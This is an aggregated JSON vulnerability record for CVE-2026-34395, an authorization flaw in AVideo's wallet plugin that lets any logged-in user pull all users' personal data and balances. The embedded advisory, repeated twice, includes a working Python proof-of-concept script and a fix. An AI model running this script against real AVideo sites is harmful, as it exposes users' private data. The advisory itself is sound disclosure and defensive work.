{"id":"CVE-2026-34395","aliases":["EUVD-2026-17632","GHSA-77jp-mgcw-rfmr"],"status":"published","title":"AVideo: Mass User PII Disclosure via Missing Authorization in YPTWallet users.json.php","description":"WWBN AVideo is an open source video platform. In versions 26.0 and prior, the plugin/YPTWallet/view/users.json.php endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks User::isLogged() but does not check User::isAdmin(), so any registered user can dump the full user database. At time of publication, there are no publicly available patches.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00329,"percentile":0.26307,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-862"],"published":"2026-03-31T20:38:54Z","modified":"2026-10-28T02:30:51Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"]}],"products":[{"vendor":"wwbn","product":"avideo"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-77jp-mgcw-rfmr","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34395","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo/commit/db37b4e9d9e7c733e5d4c5881e10b2b9d2670983","tags":["web"]},{"url":"https://github.com/advisories/GHSA-77jp-mgcw-rfmr"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34395.json","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-34395","title":"AVideo: Mass User PII Disclosure via Missing Authorization in YPTWallet users.json.php","description":"WWBN AVideo is an open source video platform. In versions 26.0 and prior, the plugin/YPTWallet/view/users.json.php endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks User::isLogged() but does not check User::isAdmin(), so any registered user can dump the full user database. At time of publication, there are no publicly available patches.","status":"published","published":"2026-03-31T20:38:54.373Z","modified":"2026-04-01T18:35:40.27Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T14:20:14.302133Z"}],"euvd":[{"id":"EUVD-2026-17632","description":"WWBN AVideo is an open source video platform. In versions 26.0 and prior, the plugin/YPTWallet/view/users.json.php endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks User::isLogged() but does not check User::isAdmin(), so any registered user can dump the full user database. At time of publication, there are no publicly available patches.","status":"published","published":"2026-03-31T20:38:54Z","modified":"2026-04-01T18:35:40Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T19:25:24.09733Z"}],"ghsa":[{"id":"GHSA-77jp-mgcw-rfmr","title":"AVideo vulnerable to Mass User PII Disclosure via Missing Authorization in YPTWallet users.json.php","description":"**Severity:** High\n**CWE:** CWE-862 (Missing Authorization)\n\n### Summary\n\nThe `plugin/YPTWallet/view/users.json.php` endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks `User::isLogged()` but does not check `User::isAdmin()`, so any registered user can dump the full user database.\n\n### Details\n\nThe authorization check at `plugin/YPTWallet/view/users.json.php:8`:\n\n```php\nif (!User::isLogged()) {\n    die(\"Is not logged\");\n}\n```\n\nThe query in `YPTWallet::getAllUsers()` selects all columns from both tables:\n\n```php\n$sql = \"SELECT w.*, u.*, u.id as user_id, IFNULL(balance, 0) as balance FROM users u \"\n    . \" LEFT JOIN wallet w ON u.id = w.users_id WHERE 1=1 \";\n```\n\nThe `cleanUpRowFromDatabase()` function strips fields matching `/pass/i` (removes `password` and `recoverPass`), but all other PII fields remain: `email`, `phone`, `address`, `zip_code`, `country`, `region`, `city`, `first_name`, `last_name`, `birth_date`, `isAdmin`, `analyticsCode`, `donationLink`, and `balance`.\n\nOther endpoints in the same directory (`saveBalance.php`, `adminManageWallets.php`, `pendingRequests.json.php`) all check `User::isAdmin()`.\n\n### Proof of Concept\n\n```python\nimport requests\n\nTARGET = \"https://your-avideo-instance.com\"\n\n# Step 1: Login as any regular (non-admin) user\nsession = requests.Session()\nsession.post(f\"{TARGET}/objects/login.json.php\", data={\n    \"user\": \"regular_user\",\n    \"pass\": \"regular_password\"\n})\n\n# Step 2: Request the users endpoint\nresp = session.post(f\"{TARGET}/plugin/YPTWallet/view/users.json.php\", data={\n    \"current\": \"1\",\n    \"rowCount\": \"10\"\n})\n\ndata = resp.json()\nprint(f\"Total users: {data['total']}\")\nfor u in data[\"rows\"]:\n    print(f\"  User: {u['user']}, Email: {u['email']}, Admin: {u['isAdmin']}, Balance: {u['balance']}\")\n```\n\nThe response contains every user on the platform, including admin accounts, with fields: `email`, `phone`, `address`, `zip_code`, `country`, `region`, `city`, `first_name`, `last_name`, `birth_date`, `isAdmin`, `balance`, `analyticsCode`, `donationLink`.\n\n### Impact\n\nAny registered user can extract the complete user database with PII (emails, phone numbers, addresses, birth dates, real names) and financial data (wallet balances). This is a mass data breach that may trigger notification requirements under GDPR or CCPA.\n\n### Recommended Fix\n\nChange `User::isLogged()` to `User::isAdmin()` at `plugin/YPTWallet/view/users.json.php:8`:\n\n```php\n// plugin/YPTWallet/view/users.json.php:8\n// Before:\nif (!User::isLogged()) {\n    die(\"Is not logged\");\n}\n\n// After:\nif (!User::isAdmin()) {\n    die(\"Is not logged\");\n}\n```\n\nThis matches the authorization pattern already used by the other endpoints in the same directory (`saveBalance.php`, `adminManageWallets.php`, `pendingRequests.json.php`).\n\n---\n\n*Found by [aisafe.io](https://aisafe.io)*","status":"published","published":"2026-03-31T23:21:50Z","modified":"2026-03-31T23:21:51Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T14:39:47.075804Z"}],"nvd":[{"id":"CVE-2026-34395","description":"WWBN AVideo is an open source video platform. In versions 26.0 and prior, the plugin/YPTWallet/view/users.json.php endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks User::isLogged() but does not check User::isAdmin(), so any registered user can dump the full user database. At time of publication, there are no publicly available patches.","status":"published","published":"2026-03-31T21:16:30.817Z","modified":"2026-07-24T20:10:00.147Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T14:12:12.261218Z"}],"osv":[{"id":"CVE-2026-34395","title":"AVideo: Mass User PII Disclosure via Missing Authorization in YPTWallet users.json.php","description":"WWBN AVideo is an open source video platform. In versions 26.0 and prior, the plugin/YPTWallet/view/users.json.php endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks User::isLogged() but does not check User::isAdmin(), so any registered user can dump the full user database. At time of publication, there are no publicly available patches.","status":"published","published":"2026-03-31T20:38:54.373Z","modified":"2026-10-28T02:30:51.828320695Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T15:45:02.247031Z"},{"id":"GHSA-77jp-mgcw-rfmr","title":"AVideo vulnerable to Mass User PII Disclosure via Missing Authorization in YPTWallet users.json.php","description":"**Severity:** High\n**CWE:** CWE-862 (Missing Authorization)\n\n### Summary\n\nThe `plugin/YPTWallet/view/users.json.php` endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks `User::isLogged()` but does not check `User::isAdmin()`, so any registered user can dump the full user database.\n\n### Details\n\nThe authorization check at `plugin/YPTWallet/view/users.json.php:8`:\n\n```php\nif (!User::isLogged()) {\n    die(\"Is not logged\");\n}\n```\n\nThe query in `YPTWallet::getAllUsers()` selects all columns from both tables:\n\n```php\n$sql = \"SELECT w.*, u.*, u.id as user_id, IFNULL(balance, 0) as balance FROM users u \"\n    . \" LEFT JOIN wallet w ON u.id = w.users_id WHERE 1=1 \";\n```\n\nThe `cleanUpRowFromDatabase()` function strips fields matching `/pass/i` (removes `password` and `recoverPass`), but all other PII fields remain: `email`, `phone`, `address`, `zip_code`, `country`, `region`, `city`, `first_name`, `last_name`, `birth_date`, `isAdmin`, `analyticsCode`, `donationLink`, and `balance`.\n\nOther endpoints in the same directory (`saveBalance.php`, `adminManageWallets.php`, `pendingRequests.json.php`) all check `User::isAdmin()`.\n\n### Proof of Concept\n\n```python\nimport requests\n\nTARGET = \"https://your-avideo-instance.com\"\n\n# Step 1: Login as any regular (non-admin) user\nsession = requests.Session()\nsession.post(f\"{TARGET}/objects/login.json.php\", data={\n    \"user\": \"regular_user\",\n    \"pass\": \"regular_password\"\n})\n\n# Step 2: Request the users endpoint\nresp = session.post(f\"{TARGET}/plugin/YPTWallet/view/users.json.php\", data={\n    \"current\": \"1\",\n    \"rowCount\": \"10\"\n})\n\ndata = resp.json()\nprint(f\"Total users: {data['total']}\")\nfor u in data[\"rows\"]:\n    print(f\"  User: {u['user']}, Email: {u['email']}, Admin: {u['isAdmin']}, Balance: {u['balance']}\")\n```\n\nThe response contains every user on the platform, including admin accounts, with fields: `email`, `phone`, `address`, `zip_code`, `country`, `region`, `city`, `first_name`, `last_name`, `birth_date`, `isAdmin`, `balance`, `analyticsCode`, `donationLink`.\n\n### Impact\n\nAny registered user can extract the complete user database with PII (emails, phone numbers, addresses, birth dates, real names) and financial data (wallet balances). This is a mass data breach that may trigger notification requirements under GDPR or CCPA.\n\n### Recommended Fix\n\nChange `User::isLogged()` to `User::isAdmin()` at `plugin/YPTWallet/view/users.json.php:8`:\n\n```php\n// plugin/YPTWallet/view/users.json.php:8\n// Before:\nif (!User::isLogged()) {\n    die(\"Is not logged\");\n}\n\n// After:\nif (!User::isAdmin()) {\n    die(\"Is not logged\");\n}\n```\n\nThis matches the authorization pattern already used by the other endpoints in the same directory (`saveBalance.php`, `adminManageWallets.php`, `pendingRequests.json.php`).\n\n---\n\n*Found by [aisafe.io](https://aisafe.io)*","status":"published","published":"2026-03-31T23:21:50Z","modified":"2026-03-31T23:41:23.270775Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T15:46:40.657155Z"}]}}